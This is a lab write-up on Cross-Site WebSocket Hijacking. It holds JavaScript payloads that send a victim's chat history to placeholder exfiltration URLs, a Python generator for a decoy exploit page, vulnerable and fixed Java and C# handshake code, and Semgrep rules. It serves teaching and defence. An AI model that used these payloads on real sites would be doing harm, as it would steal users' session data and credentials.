Lab 03: Cross-site WebSocket hijacking
1. Executive Summary
Vulnerability: Cross-Site WebSocket Hijacking (CSWSH).
Description: The application’s WebSocket handshake relies solely on HTTP cookies for session handling and lacks CSRF protection (like unique tokens). This allows an attacker to host a malicious site that, when visited by a logged-in victim, initiates a WebSocket connection to the vulnerable shop on the victim’s behalf.
Impact: Total Account Takeover. An attacker can exfiltrate sensitive data transmitted via WebSockets—such as private chat histories containing credentials—by leveraging the victim’s authenticated session.
2. The Attack
Objective: Exfiltrate the victim’s chat history to steal their login credentials.
Detailed Attack Path
As illustrated in the provided diagram, the attack follows a multi-step orchestration:
- Create: The attacker creates a malicious
/exploitpage hosted on an external server. This page contains a JavaScript payload designed to open a WebSocket connection to the target site’s/chatendpoint. - Phishing: The attacker sends a link to this exploit page to the victim (e.g., via a phishing email).
- Visits: The victim, who is already logged into the online shop, clicks the link and visits the exploit page.
- The Hijack: The victim’s browser executes the JavaScript.
- It sends a WebSocket OPEN request to the shop. Because the browser automatically includes the victim’s session cookies (SameSite=None), the server views this as a legitimate, authenticated request.
- The script sends the “READY” command.
- The server responds with the victim’s Chat History.
Exfiltration: The script captures the incoming chat data and forwards it to the attacker’s Webserver (in this case, the Exploit Server logs).
Exploitation Notes
I initially attempted to solve the lab using a POST request to webhook.site, but for some reason, the exfiltration didn’t succeed.
1
2
3
4
5
6
7
8
9
<script>
var ws = new WebSocket('wss://your-websocket-url');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://your-collaborator-url/', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
To ensure success, I transitioned to a GET-based payload using the lab’s own Exploit Server. By using btoa() to Base64-encode the data, I ensured that JSON characters wouldn’t break the URL structure in the exploit logs.
Final Exploit Payload:
1
2
3
4
5
6
7
8
9
10
11
12
<script>
var ws = new WebSocket("wss://YOUR-LAB-ID.web-security-academy.net/chat");
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
// Exfiltrate via GET request to the exploit server logs
fetch("https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit?message=" + btoa(event.data));
};
</script>
3. Code Review
Vulnerability Analysis (Explanation): The flaw exists during the HTTP Upgrade phase. The server checks for a valid session cookie but does not verify the Origin header or require a CSRF token.
- The Flaw: The WebSocket protocol does not have built-in CSRF protection. If the handshake relies on cookies, it is inherently vulnerable to cross-site requests.
- The Reality: Since browser automatically attaches cookie (
SameSite=None) to cross-site requests, the server cannot distinguish between a request intended by the user and one forced by a malicious script.
Java (Spring Boot / Handshake Interceptor)
1
2
3
4
5
6
7
8
9
10
11
@Configuration
@EnableWebSocket
public class WebSocketConfig implements WebSocketConfigurer {
@Override
public void registerWebSocketHandlers(WebSocketHandlerRegistry registry) {
registry.addHandler(new ChatHandler(), "/chat")
// VULNERABLE: Allowing all origins
.setAllowedOrigins("*")
.addInterceptors(new HttpSessionHandshakeInterceptor());
}
}
Technical Flow & Syntax Explanation:
.setAllowedOrigins("*"): This is the root cause. It tells the server to accept WebSocket handshake requests from any domain (including the attacker’s exploit server).HttpSessionHandshakeInterceptor: This helper automatically copies the HTTP Session (and cookies) into the WebSocket session. It provides authentication but provides no protection against the request being cross-site.
C# (ASP.NET Core / WebSocket Middleware)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.UseWebSockets();
app.Use(async (context, next) =>
{
if (context.Request.Path == "/chat")
{
if (context.WebSockets.IsWebSocketRequest)
{
// VULNERABLE: No check on context.Request.Headers["Origin"]
// No CSRF token validation happens here.
using var webSocket = await context.WebSockets.AcceptWebSocketAsync();
await HandleChat(webSocket);
}
}
await next();
});
Technical Flow & Syntax Explanation:
AcceptWebSocketAsync(): This method completes the handshake.- Logic Gap: The middleware verifies that the request is a WebSocket request and proceeds. It fails to inspect the
Originheader to ensure the request came from the shop’s own domain, allowing cross-site scripts to “Accept” the connection using the victim’s identity.
Mock PR Comment
The WebSocket handshake at /chat is vulnerable to Cross-Site WebSocket Hijacking (CSWSH). It relies on session cookies but does not validate the Origin header or implement CSRF tokens.
Please restrict the AllowedOrigins to our specific domain and implement a CSRF token check during the initial HTTP upgrade request to ensure the connection is being initiated from our own frontend.
4. The Fix
Explanation of the Fix: The primary defense is Origin Validation. We must check the Origin header on the server and only allow connections from our trusted domain. Additionally, using SameSite=Lax cookies prevents the browser from sending session cookies during cross-site handshakes.
Secure Java (Spring Security)
1
2
3
4
5
6
7
@Override
public void registerWebSocketHandlers(WebSocketHandlerRegistry registry) {
registry.addHandler(new ChatHandler(), "/chat")
// SECURE: Only allow our specific domain
.setAllowedOrigins("https://online-shop.com")
.addInterceptors(new CsrfTokenHandshakeInterceptor());
}
Technical Flow & Syntax Explanation:
.setAllowedOrigins("https://online-shop.com"): This configures a whitelist. If theOriginheader in the handshake doesn’t match this exact string, the server returns a 403 Forbidden.
Secure C# (Middleware Validation)
1
2
3
4
5
if (context.Request.Headers["Origin"] != "https://online-shop.com")
{
context.Response.StatusCode = StatusCodes.Status403Forbidden;
return;
}
5. Automation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
import argparse
import sys
def generate_exploit_html(target_ws_url, exfil_url):
template = f"""
<html>
<body>
<script>
var ws = new WebSocket("{target_ws_url}");
ws.onopen = function() {{ ws.send("READY"); }};
ws.onmessage = function(event) {{
fetch("{exfil_url}?data=" + btoa(event.data));
}};
</script>
<h1>Nothing to see here...</h1>
</body>
</html>
"""
return template
def main():
ap = argparse.ArgumentParser(description="Generate CSWSH Exploit Page")
ap.add_argument("ws_url", help="Target WebSocket URL (wss://...)")
ap.add_argument("exfil_url", help="Your exfiltration endpoint (GET)")
args = ap.parse_args()
print("[*] Exploit HTML Generated:")
print(generate_exploit_html(args.ws_url, args.exfil_url))
if __name__ == "__main__":
main()
6. Static Analysis (Semgrep)
The Logic:
We are looking for WebSocket configurations that either allow all origins (*) or explicitly lack an Origin check in the handshake interceptors.
Java Rule
1
2
3
4
5
6
7
rules:
- id: java-ws-allow-all-origins
languages: [java]
message: "WebSocket AllowedOrigins is set to '*' or is overly broad. This allows CSWSH."
severity: ERROR
patterns:
- pattern: .setAllowedOrigins("*")
C# Rule
1
2
3
4
5
6
7
8
9
rules:
- id: csharp-ws-missing-origin-check
languages: [csharp]
message: "WebSocket handshake accepted without Origin header validation."
severity: WARNING
patterns:
- pattern: context.WebSockets.AcceptWebSocketAsync()
- pattern-not-inside: |
if (context.Request.Headers["Origin"] == ...) { ... }
Syntax Explanation:
pattern-not-inside: In the C# rule, we flag the acceptance of the socket unless it is wrapped in anifstatement that checks theOriginheader, forcing developers to implement whitelist logic.



